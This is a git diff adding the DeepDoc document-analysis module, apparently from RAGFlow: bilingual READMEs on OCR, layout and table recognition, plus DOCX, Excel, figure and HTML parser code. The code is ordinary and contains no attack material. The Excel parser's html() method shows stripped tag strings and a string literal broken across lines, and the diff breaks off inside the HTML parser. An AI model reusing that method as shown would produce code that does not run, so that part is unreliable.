+python deepdoc/vision/t_ocr.py -h
+usage: t_ocr.py [-h] --inputs INPUTS [--output_dir OUTPUT_DIR]
+
+options:
+ -h, --help show this help message and exit
+ --inputs INPUTS Directory where to store images or PDFs, or a file path to a single image or PDF
+ --output_dir OUTPUT_DIR
+ Directory where to store the output images. Default: './ocr_outputs'
+```
+```bash
+python deepdoc/vision/t_recognizer.py -h
+usage: t_recognizer.py [-h] --inputs INPUTS [--output_dir OUTPUT_DIR] [--threshold THRESHOLD] [--mode {layout,tsr}]
+
+options:
+ -h, --help show this help message and exit
+ --inputs INPUTS Directory where to store images or PDFs, or a file path to a single image or PDF
+ --output_dir OUTPUT_DIR
+ Directory where to store the output images. Default: './layouts_outputs'
+ --threshold THRESHOLD
+ A threshold to filter out detections. Default: 0.5
+ --mode {layout,tsr} Task mode: layout recognition or table structure recognition
+```
+
+Our models are served on HuggingFace. If you have trouble downloading HuggingFace models, this might help!!
+```bash
+export HF_ENDPOINT=https://hf-mirror.com
+```
+
+
+## 2. Vision
+
+We use vision information to resolve problems as human being.
+ - OCR. Since a lot of documents presented as images or at least be able to transform to image,
+ OCR is a very essential and fundamental or even universal solution for text extraction.
+ ```bash
+ python deepdoc/vision/t_ocr.py --inputs=path_to_images_or_pdfs --output_dir=path_to_store_result
+ ```
+ The inputs could be directory to images or PDF, or a image or PDF.
+ You can look into the folder 'path_to_store_result' where has images which demonstrate the positions of results,
+ txt files which contain the OCR text.
+
+
+
+
+ - Layout recognition. Documents from different domain may have various layouts,
+ like, newspaper, magazine, book and résumé are distinct in terms of layout.
+ Only when machine have an accurate layout analysis, it can decide if these text parts are successive or not,
+ or this part needs Table Structure Recognition(TSR) to process, or this part is a figure and described with this caption.
+ We have 10 basic layout components which covers most cases:
+ - Text
+ - Title
+ - Figure
+ - Figure caption
+ - Table
+ - Table caption
+ - Header
+ - Footer
+ - Reference
+ - Equation
+
+ Have a try on the following command to see the layout detection results.
+ ```bash
+ python deepdoc/vision/t_recognizer.py --inputs=path_to_images_or_pdfs --threshold=0.2 --mode=layout --output_dir=path_to_store_result
+ ```
+ The inputs could be directory to images or PDF, or a image or PDF.
+ You can look into the folder 'path_to_store_result' where has images which demonstrate the detection results as following:
+
+
+
+
+ - Table Structure Recognition(TSR). Data table is a frequently used structure to present data including numbers or text.
+ And the structure of a table might be very complex, like hierarchy headers, spanning cells and projected row headers.
+ Along with TSR, we also reassemble the content into sentences which could be well comprehended by LLM.
+ We have five labels for TSR task:
+ - Column
+ - Row
+ - Column header
+ - Projected row header
+ - Spanning cell
+
+ Have a try on the following command to see the layout detection results.
+ ```bash
+ python deepdoc/vision/t_recognizer.py --inputs=path_to_images_or_pdfs --threshold=0.2 --mode=tsr --output_dir=path_to_store_result
+ ```
+ The inputs could be directory to images or PDF, or a image or PDF.
+ You can look into the folder 'path_to_store_result' where has both images and html pages which demonstrate the detection results as following:
+
+
+
+
+
+## 3. Parser
+
+Four kinds of document formats as PDF, DOCX, EXCEL and PPT have their corresponding parser.
+The most complex one is PDF parser since PDF's flexibility. The output of PDF parser includes:
+ - Text chunks with their own positions in PDF(page number and rectangular positions).
+ - Tables with cropped image from the PDF, and contents which has already translated into natural language sentences.
+ - Figures with caption and text in the figures.
+
+### Résumé
+
+The résumé is a very complicated kind of document. A résumé which is composed of unstructured text
+with various layouts could be resolved into structured data composed of nearly a hundred of fields.
+We haven't opened the parser yet, as we open the processing method after parsing procedure.
+
+
\ No newline at end of file
diff --git a/deepdoc/README_zh.md b/deepdoc/README_zh.md
new file mode 100644
index 0000000..4ada7ed
--- /dev/null
+++ b/deepdoc/README_zh.md
@@ -0,0 +1,116 @@
+[English](./README.md) | 简体中文
+
+# *Deep*Doc
+
+- [*Deep*Doc](#deepdoc)
+ - [1. 介绍](#1-介绍)
+ - [2. 视觉处理](#2-视觉处理)
+ - [3. 解析器](#3-解析器)
+ - [简历](#简历)
+
+
+## 1. 介绍
+
+对于来自不同领域、具有不同格式和不同检索要求的大量文档,准确的分析成为一项极具挑战性的任务。*Deep*Doc 就是为了这个目的而诞生的。到目前为止,*Deep*Doc 中有两个组成部分:视觉处理和解析器。如果您对我们的OCR、布局识别和TSR结果感兴趣,您可以运行下面的测试程序。
+
+```bash
+python deepdoc/vision/t_ocr.py -h
+usage: t_ocr.py [-h] --inputs INPUTS [--output_dir OUTPUT_DIR]
+
+options:
+ -h, --help show this help message and exit
+ --inputs INPUTS Directory where to store images or PDFs, or a file path to a single image or PDF
+ --output_dir OUTPUT_DIR
+ Directory where to store the output images. Default: './ocr_outputs'
+```
+
+```bash
+python deepdoc/vision/t_recognizer.py -h
+usage: t_recognizer.py [-h] --inputs INPUTS [--output_dir OUTPUT_DIR] [--threshold THRESHOLD] [--mode {layout,tsr}]
+
+options:
+ -h, --help show this help message and exit
+ --inputs INPUTS Directory where to store images or PDFs, or a file path to a single image or PDF
+ --output_dir OUTPUT_DIR
+ Directory where to store the output images. Default: './layouts_outputs'
+ --threshold THRESHOLD
+ A threshold to filter out detections. Default: 0.5
+ --mode {layout,tsr} Task mode: layout recognition or table structure recognition
+```
+
+HuggingFace为我们的模型提供服务。如果你在下载HuggingFace模型时遇到问题,这可能会有所帮助!!
+
+```bash
+export HF_ENDPOINT=https://hf-mirror.com
+```
+
+
+## 2. 视觉处理
+
+作为人类,我们使用视觉信息来解决问题。
+
+ - **OCR(Optical Character Recognition,光学字符识别)**。由于许多文档都是以图像形式呈现的,或者至少能够转换为图像,因此OCR是文本提取的一个非常重要、基本,甚至通用的解决方案。
+
+ ```bash
+ python deepdoc/vision/t_ocr.py --inputs=path_to_images_or_pdfs --output_dir=path_to_store_result
+ ```
+
+ 输入可以是图像或PDF的目录,或者单个图像、PDF文件。您可以查看文件夹 `path_to_store_result` ,其中有演示结果位置的图像,以及包含OCR文本的txt文件。
+
+
+
+
+
+ - 布局识别(Layout recognition)。来自不同领域的文件可能有不同的布局,如报纸、杂志、书籍和简历在布局方面是不同的。只有当机器有准确的布局分析时,它才能决定这些文本部分是连续的还是不连续的,或者这个部分需要表结构识别(Table Structure Recognition,TSR)来处理,或者这个部件是一个图形并用这个标题来描述。我们有10个基本布局组件,涵盖了大多数情况:
+ - 文本
+ - 标题
+ - 配图
+ - 配图标题
+ - 表格
+ - 表格标题
+ - 页头
+ - 页尾
+ - 参考引用
+ - 公式
+
+ 请尝试以下命令以查看布局检测结果。
+
+ ```bash
+ python deepdoc/vision/t_recognizer.py --inputs=path_to_images_or_pdfs --threshold=0.2 --mode=layout --output_dir=path_to_store_result
+ ```
+
+ 输入可以是图像或PDF的目录,或者单个图像、PDF文件。您可以查看文件夹 `path_to_store_result` ,其中有显示检测结果的图像,如下所示:
+
+
+
+
+ - **TSR(Table Structure Recognition,表结构识别)**。数据表是一种常用的结构,用于表示包括数字或文本在内的数据。表的结构可能非常复杂,比如层次结构标题、跨单元格和投影行标题。除了TSR,我们还将内容重新组合成LLM可以很好理解的句子。TSR任务有五个标签:
+ - 列
+ - 行
+ - 列标题
+ - 行标题
+ - 合并单元格
+
+ 请尝试以下命令以查看布局检测结果。
+
+ ```bash
+ python deepdoc/vision/t_recognizer.py --inputs=path_to_images_or_pdfs --threshold=0.2 --mode=tsr --output_dir=path_to_store_result
+ ```
+
+ 输入可以是图像或PDF的目录,或者单个图像、PDF文件。您可以查看文件夹 `path_to_store_result` ,其中包含图像和html页面,这些页面展示了以下检测结果:
+
+
+
+
+
+
+## 3. 解析器
+
+PDF、DOCX、EXCEL和PPT四种文档格式都有相应的解析器。最复杂的是PDF解析器,因为PDF具有灵活性。PDF解析器的输出包括:
+ - 在PDF中有自己位置的文本块(页码和矩形位置)。
+ - 带有PDF裁剪图像的表格,以及已经翻译成自然语言句子的内容。
+ - 图中带标题和文字的图。
+
+### 简历
+
+简历是一种非常复杂的文档。由各种格式的非结构化文本构成的简历可以被解析为包含近百个字段的结构化数据。我们还没有启用解析器,因为在解析过程之后才会启动处理方法。
diff --git a/deepdoc/__init__.py b/deepdoc/__init__.py
new file mode 100644
index 0000000..643f797
--- /dev/null
+++ b/deepdoc/__init__.py
@@ -0,0 +1,18 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from beartype.claw import beartype_this_package
+beartype_this_package()
diff --git a/deepdoc/parser/__init__.py b/deepdoc/parser/__init__.py
new file mode 100644
index 0000000..809a56e
--- /dev/null
+++ b/deepdoc/parser/__init__.py
@@ -0,0 +1,40 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from .docx_parser import RAGFlowDocxParser as DocxParser
+from .excel_parser import RAGFlowExcelParser as ExcelParser
+from .html_parser import RAGFlowHtmlParser as HtmlParser
+from .json_parser import RAGFlowJsonParser as JsonParser
+from .markdown_parser import MarkdownElementExtractor
+from .markdown_parser import RAGFlowMarkdownParser as MarkdownParser
+from .pdf_parser import PlainParser
+from .pdf_parser import RAGFlowPdfParser as PdfParser
+from .ppt_parser import RAGFlowPptParser as PptParser
+from .txt_parser import RAGFlowTxtParser as TxtParser
+
+__all__ = [
+ "PdfParser",
+ "PlainParser",
+ "DocxParser",
+ "ExcelParser",
+ "PptParser",
+ "HtmlParser",
+ "JsonParser",
+ "MarkdownParser",
+ "TxtParser",
+ "MarkdownElementExtractor",
+]
+
diff --git a/deepdoc/parser/docx_parser.py b/deepdoc/parser/docx_parser.py
new file mode 100644
index 0000000..2a65841
--- /dev/null
+++ b/deepdoc/parser/docx_parser.py
@@ -0,0 +1,139 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from docx import Document
+import re
+import pandas as pd
+from collections import Counter
+from rag.nlp import rag_tokenizer
+from io import BytesIO
+
+
+class RAGFlowDocxParser:
+
+ def __extract_table_content(self, tb):
+ df = []
+ for row in tb.rows:
+ df.append([c.text for c in row.cells])
+ return self.__compose_table_content(pd.DataFrame(df))
+
+ def __compose_table_content(self, df):
+
+ def blockType(b):
+ pattern = [
+ ("^(20|19)[0-9]{2}[年/-][0-9]{1,2}[月/-][0-9]{1,2}日*$", "Dt"),
+ (r"^(20|19)[0-9]{2}年$", "Dt"),
+ (r"^(20|19)[0-9]{2}[年/-][0-9]{1,2}月*$", "Dt"),
+ ("^[0-9]{1,2}[月/-][0-9]{1,2}日*$", "Dt"),
+ (r"^第*[一二三四1-4]季度$", "Dt"),
+ (r"^(20|19)[0-9]{2}年*[一二三四1-4]季度$", "Dt"),
+ (r"^(20|19)[0-9]{2}[ABCDE]$", "DT"),
+ ("^[0-9.,+%/ -]+$", "Nu"),
+ (r"^[0-9A-Z/\._~-]+$", "Ca"),
+ (r"^[A-Z]*[a-z' -]+$", "En"),
+ (r"^[0-9.,+-]+[0-9A-Za-z/$¥%<>()()' -]+$", "NE"),
+ (r"^.{1}$", "Sg")
+ ]
+ for p, n in pattern:
+ if re.search(p, b):
+ return n
+ tks = [t for t in rag_tokenizer.tokenize(b).split() if len(t) > 1]
+ if len(tks) > 3:
+ if len(tks) < 12:
+ return "Tx"
+ else:
+ return "Lx"
+
+ if len(tks) == 1 and rag_tokenizer.tag(tks[0]) == "nr":
+ return "Nr"
+
+ return "Ot"
+
+ if len(df) < 2:
+ return []
+ max_type = Counter([blockType(str(df.iloc[i, j])) for i in range(
+ 1, len(df)) for j in range(len(df.iloc[i, :]))])
+ max_type = max(max_type.items(), key=lambda x: x[1])[0]
+
+ colnm = len(df.iloc[0, :])
+ hdrows = [0] # header is not necessarily appear in the first line
+ if max_type == "Nu":
+ for r in range(1, len(df)):
+ tys = Counter([blockType(str(df.iloc[r, j]))
+ for j in range(len(df.iloc[r, :]))])
+ tys = max(tys.items(), key=lambda x: x[1])[0]
+ if tys != max_type:
+ hdrows.append(r)
+
+ lines = []
+ for i in range(1, len(df)):
+ if i in hdrows:
+ continue
+ hr = [r - i for r in hdrows]
+ hr = [r for r in hr if r < 0]
+ t = len(hr) - 1
+ while t > 0:
+ if hr[t] - hr[t - 1] > 1:
+ hr = hr[t:]
+ break
+ t -= 1
+ headers = []
+ for j in range(len(df.iloc[i, :])):
+ t = []
+ for h in hr:
+ x = str(df.iloc[i + h, j]).strip()
+ if x in t:
+ continue
+ t.append(x)
+ t = ",".join(t)
+ if t:
+ t += ": "
+ headers.append(t)
+ cells = []
+ for j in range(len(df.iloc[i, :])):
+ if not str(df.iloc[i, j]):
+ continue
+ cells.append(headers[j] + str(df.iloc[i, j]))
+ lines.append(";".join(cells))
+
+ if colnm > 3:
+ return lines
+ return ["\n".join(lines)]
+
+ def __call__(self, fnm, from_page=0, to_page=100000000):
+ self.doc = Document(fnm) if isinstance(
+ fnm, str) else Document(BytesIO(fnm))
+ pn = 0 # parsed page
+ secs = [] # parsed contents
+ for p in self.doc.paragraphs:
+ if pn > to_page:
+ break
+
+ runs_within_single_paragraph = [] # save runs within the range of pages
+ for run in p.runs:
+ if pn > to_page:
+ break
+ if from_page <= pn < to_page and p.text.strip():
+ runs_within_single_paragraph.append(run.text) # append run.text first
+
+ # wrap page break checker into a static method
+ if 'lastRenderedPageBreak' in run._element.xml:
+ pn += 1
+
+ secs.append(("".join(runs_within_single_paragraph), p.style.name if hasattr(p.style, 'name') else '')) # then concat run.text as part of the paragraph
+
+ tbls = [self.__extract_table_content(tb) for tb in self.doc.tables]
+ return secs, tbls
diff --git a/deepdoc/parser/excel_parser.py b/deepdoc/parser/excel_parser.py
new file mode 100644
index 0000000..315df7d
--- /dev/null
+++ b/deepdoc/parser/excel_parser.py
@@ -0,0 +1,189 @@
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import logging
+import re
+import sys
+from io import BytesIO
+
+import pandas as pd
+from openpyxl import Workbook, load_workbook
+
+from rag.nlp import find_codec
+
+# copied from `/openpyxl/cell/cell.py`
+ILLEGAL_CHARACTERS_RE = re.compile(r"[\000-\010]|[\013-\014]|[\016-\037]")
+
+
+class RAGFlowExcelParser:
+ @staticmethod
+ def _load_excel_to_workbook(file_like_object):
+ if isinstance(file_like_object, bytes):
+ file_like_object = BytesIO(file_like_object)
+
+ # Read first 4 bytes to determine file type
+ file_like_object.seek(0)
+ file_head = file_like_object.read(4)
+ file_like_object.seek(0)
+
+ if not (file_head.startswith(b"PK\x03\x04") or file_head.startswith(b"\xd0\xcf\x11\xe0")):
+ logging.info("Not an Excel file, converting CSV to Excel Workbook")
+
+ try:
+ file_like_object.seek(0)
+ df = pd.read_csv(file_like_object)
+ return RAGFlowExcelParser._dataframe_to_workbook(df)
+
+ except Exception as e_csv:
+ raise Exception(f"Failed to parse CSV and convert to Excel Workbook: {e_csv}")
+
+ try:
+ return load_workbook(file_like_object, data_only=True)
+ except Exception as e:
+ logging.info(f"openpyxl load error: {e}, try pandas instead")
+ try:
+ file_like_object.seek(0)
+ try:
+ df = pd.read_excel(file_like_object)
+ return RAGFlowExcelParser._dataframe_to_workbook(df)
+ except Exception as ex:
+ logging.info(f"pandas with default engine load error: {ex}, try calamine instead")
+ file_like_object.seek(0)
+ df = pd.read_excel(file_like_object, engine="calamine")
+ return RAGFlowExcelParser._dataframe_to_workbook(df)
+ except Exception as e_pandas:
+ raise Exception(f"pandas.read_excel error: {e_pandas}, original openpyxl error: {e}")
+
+ @staticmethod
+ def _clean_dataframe(df: pd.DataFrame):
+ def clean_string(s):
+ if isinstance(s, str):
+ return ILLEGAL_CHARACTERS_RE.sub(" ", s)
+ return s
+
+ return df.apply(lambda col: col.map(clean_string))
+
+ @staticmethod
+ def _dataframe_to_workbook(df):
+ df = RAGFlowExcelParser._clean_dataframe(df)
+ wb = Workbook()
+ ws = wb.active
+ ws.title = "Data"
+
+ for col_num, column_name in enumerate(df.columns, 1):
+ ws.cell(row=1, column=col_num, value=column_name)
+
+ for row_num, row in enumerate(df.values, 2):
+ for col_num, value in enumerate(row, 1):
+ ws.cell(row=row_num, column=col_num, value=value)
+
+ return wb
+
+ def html(self, fnm, chunk_rows=256):
+ from html import escape
+
+ file_like_object = BytesIO(fnm) if not isinstance(fnm, str) else fnm
+ wb = RAGFlowExcelParser._load_excel_to_workbook(file_like_object)
+ tb_chunks = []
+
+ def _fmt(v):
+ if v is None:
+ return ""
+ return str(v).strip()
+
+ for sheetname in wb.sheetnames:
+ ws = wb[sheetname]
+ rows = list(ws.rows)
+ if not rows:
+ continue
+
+ tb_rows_0 = ""
+ for t in list(rows[0]):
+ tb_rows_0 += f"{escape(_fmt(t.value))} "
+ tb_rows_0 += " "
+
+ for chunk_i in range((len(rows) - 1) // chunk_rows + 1):
+ tb = ""
+ tb += f"{sheetname} "
+ tb += tb_rows_0
+ for r in list(rows[1 + chunk_i * chunk_rows : min(1 + (chunk_i + 1) * chunk_rows, len(rows))]):
+ tb += ""
+ for i, c in enumerate(r):
+ if c.value is None:
+ tb += " "
+ else:
+ tb += f"{escape(_fmt(c.value))} "
+ tb += " "
+ tb += "
\n"
+ tb_chunks.append(tb)
+
+ return tb_chunks
+
+ def markdown(self, fnm):
+ import pandas as pd
+
+ file_like_object = BytesIO(fnm) if not isinstance(fnm, str) else fnm
+ try:
+ file_like_object.seek(0)
+ df = pd.read_excel(file_like_object)
+ except Exception as e:
+ logging.warning(f"Parse spreadsheet error: {e}, trying to interpret as CSV file")
+ file_like_object.seek(0)
+ df = pd.read_csv(file_like_object)
+ df = df.replace(r"^\s*$", "", regex=True)
+ return df.to_markdown(index=False)
+
+ def __call__(self, fnm):
+ file_like_object = BytesIO(fnm) if not isinstance(fnm, str) else fnm
+ wb = RAGFlowExcelParser._load_excel_to_workbook(file_like_object)
+
+ res = []
+ for sheetname in wb.sheetnames:
+ ws = wb[sheetname]
+ rows = list(ws.rows)
+ if not rows:
+ continue
+ ti = list(rows[0])
+ for r in list(rows[1:]):
+ fields = []
+ for i, c in enumerate(r):
+ if not c.value:
+ continue
+ t = str(ti[i].value) if i < len(ti) else ""
+ t += (":" if t else "") + str(c.value)
+ fields.append(t)
+ line = "; ".join(fields)
+ if sheetname.lower().find("sheet") < 0:
+ line += " ——" + sheetname
+ res.append(line)
+ return res
+
+ @staticmethod
+ def row_number(fnm, binary):
+ if fnm.split(".")[-1].lower().find("xls") >= 0:
+ wb = RAGFlowExcelParser._load_excel_to_workbook(BytesIO(binary))
+ total = 0
+ for sheetname in wb.sheetnames:
+ ws = wb[sheetname]
+ total += len(list(ws.rows))
+ return total
+
+ if fnm.split(".")[-1].lower() in ["csv", "txt"]:
+ encoding = find_codec(binary)
+ txt = binary.decode(encoding, errors="ignore")
+ return len(txt.split("\n"))
+
+
+if __name__ == "__main__":
+ psr = RAGFlowExcelParser()
+ psr(sys.argv[1])
diff --git a/deepdoc/parser/figure_parser.py b/deepdoc/parser/figure_parser.py
new file mode 100644
index 0000000..0274f54
--- /dev/null
+++ b/deepdoc/parser/figure_parser.py
@@ -0,0 +1,105 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from concurrent.futures import ThreadPoolExecutor, as_completed
+
+from PIL import Image
+
+from api.utils.api_utils import timeout
+from rag.app.picture import vision_llm_chunk as picture_vision_llm_chunk
+from rag.prompts.generator import vision_llm_figure_describe_prompt
+
+
+def vision_figure_parser_figure_data_wrapper(figures_data_without_positions):
+ return [
+ (
+ (figure_data[1], [figure_data[0]]),
+ [(0, 0, 0, 0, 0)],
+ )
+ for figure_data in figures_data_without_positions
+ if isinstance(figure_data[1], Image.Image)
+ ]
+
+
+shared_executor = ThreadPoolExecutor(max_workers=10)
+
+
+class VisionFigureParser:
+ def __init__(self, vision_model, figures_data, *args, **kwargs):
+ self.vision_model = vision_model
+ self._extract_figures_info(figures_data)
+ assert len(self.figures) == len(self.descriptions)
+ assert not self.positions or (len(self.figures) == len(self.positions))
+
+ def _extract_figures_info(self, figures_data):
+ self.figures = []
+ self.descriptions = []
+ self.positions = []
+
+ for item in figures_data:
+ # position
+ if len(item) == 2 and isinstance(item[0], tuple) and len(item[0]) == 2 and isinstance(item[1], list) and isinstance(item[1][0], tuple) and len(item[1][0]) == 5:
+ img_desc = item[0]
+ assert len(img_desc) == 2 and isinstance(img_desc[0], Image.Image) and isinstance(img_desc[1], list), "Should be (figure, [description])"
+ self.figures.append(img_desc[0])
+ self.descriptions.append(img_desc[1])
+ self.positions.append(item[1])
+ else:
+ assert len(item) == 2 and isinstance(item[0], Image.Image) and isinstance(item[1], list), f"Unexpected form of figure data: get {len(item)=}, {item=}"
+ self.figures.append(item[0])
+ self.descriptions.append(item[1])
+
+ def _assemble(self):
+ self.assembled = []
+ self.has_positions = len(self.positions) != 0
+ for i in range(len(self.figures)):
+ figure = self.figures[i]
+ desc = self.descriptions[i]
+ pos = self.positions[i] if self.has_positions else None
+
+ figure_desc = (figure, desc)
+
+ if pos is not None:
+ self.assembled.append((figure_desc, pos))
+ else:
+ self.assembled.append((figure_desc,))
+
+ return self.assembled
+
+ def __call__(self, **kwargs):
+ callback = kwargs.get("callback", lambda prog, msg: None)
+
+ @timeout(30, 3)
+ def process(figure_idx, figure_binary):
+ description_text = picture_vision_llm_chunk(
+ binary=figure_binary,
+ vision_model=self.vision_model,
+ prompt=vision_llm_figure_describe_prompt(),
+ callback=callback,
+ )
+ return figure_idx, description_text
+
+ futures = []
+ for idx, img_binary in enumerate(self.figures or []):
+ futures.append(shared_executor.submit(process, idx, img_binary))
+
+ for future in as_completed(futures):
+ figure_num, txt = future.result()
+ if txt:
+ self.descriptions[figure_num] = txt + "\n".join(self.descriptions[figure_num])
+
+ self._assemble()
+
+ return self.assembled
diff --git a/deepdoc/parser/html_parser.py b/deepdoc/parser/html_parser.py
new file mode 100644
index 0000000..44ff103
--- /dev/null
+++ b/deepdoc/parser/html_parser.py
@@ -0,0 +1,214 @@
+# -*- coding: utf-8 -*-
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from rag.nlp import find_codec, rag_tokenizer
+import uuid
+import chardet
+from bs4 import BeautifulSoup, NavigableString, Tag, Comment
+import html
+
+def get_encoding(file):
+ with open(file,'rb') as f:
+ tmp = chardet.detect(f.read())
+ return tmp['encoding']
+
+BLOCK_TAGS = [
+ "h1", "h2", "h3", "h4", "h5", "h6",
+ "p", "div", "article", "section", "aside",
+ "ul", "ol", "li",
+ "table", "pre", "code", "blockquote",
+ "figure", "figcaption"
+]
+TITLE_TAGS = {"h1": "#", "h2": "##", "h3": "###", "h4": "#####", "h5": "#####", "h6": "######"}
+
+
+class RAGFlowHtmlParser:
+ def __call__(self, fnm, binary=None, chunk_token_num=512):
+ if binary:
+ encoding = find_codec(binary)
+ txt = binary.decode(encoding, errors="ignore")
+ else:
+ with open(fnm, "r",encoding=get_encoding(fnm)) as f:
+ txt = f.read()
+ return self.parser_txt(txt, chunk_token_num)
+
+ @classmethod
+ def parser_txt(cls, txt, chunk_token_num):
+ if not isinstance(txt, str):
+ raise TypeError("txt type should be string!")
+
+ temp_sections = []
+ soup = BeautifulSoup(txt, "html5lib")
+ # delete
+
+
+ %s
+
+